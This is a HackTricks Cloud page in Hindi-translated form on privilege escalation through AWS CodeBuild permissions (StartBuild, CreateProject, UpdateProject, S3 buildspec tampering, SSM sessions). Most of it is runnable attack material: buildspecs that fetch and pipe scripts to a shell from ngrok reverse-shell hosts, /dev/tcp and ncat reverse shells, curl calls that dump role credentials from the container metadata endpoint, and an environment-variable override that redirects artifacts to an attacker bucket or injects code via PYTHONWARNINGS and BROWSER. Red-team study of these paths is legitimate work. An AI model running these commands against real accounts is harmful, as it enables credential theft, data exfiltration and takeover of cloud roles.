AWS - Codebuild Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
codebuild
अधिक जानकारी के लिए:
codebuild:StartBuild | codebuild:StartBuildBatch
इन अनुमतियों में से केवल एक भी होने पर, एक नया buildspec देकर build ट्रिगर करना और प्रोजेक्ट को असाइन किए गए iam role का token चुरा लेना पर्याप्त है:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Note: इन दोनों कमांड्स के बीच अंतर यह है कि:
StartBuildएक विशिष्टbuildspec.ymlका उपयोग करते हुए एकल build जॉब ट्रिगर करता है।StartBuildBatchआपको अधिक जटिल कॉन्फ़िगरेशन्स के साथ builds के एक बैच को शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।
Potential Impact: संलग्न AWS Codebuild roles पर सीधे privesc।
StartBuild Env Var Override
भले ही आप प्रोजेक्ट को संशोधित नहीं कर सकते (UpdateProject) और आप buildspec को ओवरराइड नहीं कर सकते, codebuild:StartBuild फिर भी build समय पर env vars को ओवरराइड करने की अनुमति देता है, इसके माध्यम से:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
यदि build व्यवहार को नियंत्रित करने के लिए environment variables का उपयोग करता है (destination buckets, feature flags, proxy settings, logging, आदि), तो यह build role द्वारा एक्सेस किए जा सकने वाले exfiltrate secrets या build के अंदर code execution प्राप्त करने के लिए पर्याप्त हो सकता है।
Example 1: Artifact/Upload Destination को Redirect करके Exfiltrate Secrets
यदि build किसी artifact को ऐसे bucket/path पर प्रकाशित करता है जिसे env var (उदाहरण के लिए UPLOAD_BUCKET) द्वारा नियंत्रित किया जाता है, तो उसे attacker-controlled bucket पर ओवरराइड कर दें:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
उदाहरण 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
यदि बिल्ड python3 चलाती है (buildspecs में सामान्य), तो आप कभी-कभी buildspec को छुए बिना दुरुपयोग करके कोड निष्पादन प्राप्त कर सकते हैं:
PYTHONWARNINGS: Python category फ़ील्ड को resolve करता है और डॉट-नोटेशन वाले paths को import करेगा। इसे...:antigravity.x:...पर सेट करने से stdlib मॉड्यूलantigravityको import करने के लिए मजबूर किया जाता है।antigravity: यहwebbrowser.open(...)को कॉल करता है।BROWSER: यह नियंत्रित करता है किwebbrowserक्या execute करे। Linux पर यह:-सेपरेटेड होता है।#%sका उपयोग करने से URL argument एक shell comment बन जाता है।
इसे उपयोग करके CodeBuild role credentials (from http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) को CloudWatch logs में प्रिंट किया जा सकता है, और फिर अगर आपके पास log read permissions हैं तो उन्हें रीकवर किया जा सकता है।
विस्तार योग्य: StartBuild JSON request for the PYTHONWARNINGS + BROWSER trick
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
यदि किसी हमलावर के पास iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch अनुमतियाँ हों, तो वह एक चल रहा प्रोजेक्ट बनाकर escalate privileges to any codebuild IAM role कर सकेगा।
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
संभावित प्रभाव: किसी भी AWS Codebuild role पर प्रत्यक्ष privesc।
Warning
किसी Codebuild container में फ़ाइल
/codebuild/output/tmp/env.shमें वे सभी env vars होते हैं जो metadata credentials को एक्सेस करने के लिए ज़रूरी हैं।
इस फ़ाइल में env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIहोता है जिसमें क्रेडेंशियल्स तक पहुँचने के लिए URL path होता है। यह कुछ इस तरह होगा/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
उसे URL
http://169.254.170.2/के साथ जोड़ें और आप role credentials को dump कर पाएँगे।
इसके अलावा, इसमें env variable
ECS_CONTAINER_METADATA_URIभी होता है जो container के बारे में पूरी जानकारी पाने के लिए complete URL रखता है — यानी metadata info about the container।
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
जैसा कि पिछले सेक्शन में था, यदि build project बनाने के बजाय आप उसे संशोधित कर सकते हैं, तो आप IAM Role निर्दिष्ट कर सकते हैं और token चुरा सकते हैं।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: किसी भी AWS Codebuild role पर सीधे privesc।
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
पिछले सेक्शन की तरह, लेकिन iam:PassRole permission के बिना, आप इन permissions का दुरुपयोग करके मौजूदा Codebuild projects को संशोधित कर सकते हैं और उन पर पहले से असाइन किए गए role तक पहुँच सकते हैं।
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
संभावित प्रभाव: संलग्न AWS Codebuild roles पर सीधा privesc।
SSM
यदि आपके पास enough permissions to start a ssm session हैं, तो बन रहे inside a Codebuild project में पहुँच जाना संभव है।
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
और फिर:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
अधिक जानकारी के लिए check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
यदि कोई attacker किसी विशेष CodeBuild प्रोजेक्ट की build को start/restart करने में सक्षम हो — और वह प्रोजेक्ट अपना buildspec.yml फ़ाइल उस S3 bucket पर स्टोर करता हो जिस पर attacker के पास write access है — तो attacker CodeBuild process में command execution प्राप्त कर सकता है।
Note: यह escalation केवल तब प्रासंगिक है जब CodeBuild worker का role attacker की role से भिन्न हो, और उम्मीद है कि वह अधिक privileged हो।
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
आप इस तरह का buildspec उपयोग करके reverse shell प्राप्त कर सकते हैं:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impact: AWS CodeBuild worker द्वारा उपयोग किए जाने वाले role में सीधे privesc, जो आमतौर पर उच्च privileges रखता है।
Warning
ध्यान दें कि buildspec zip फॉर्मेट में हो सकता है, इसलिए एक attacker को download, unzip, modify the
buildspec.ymlfrom the root directory, zip again and upload करने की आवश्यकता होगी
अधिक जानकारी here मिल सकती है।
Potential Impact: संलग्न AWS Codebuild roles में सीधे privesc।
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

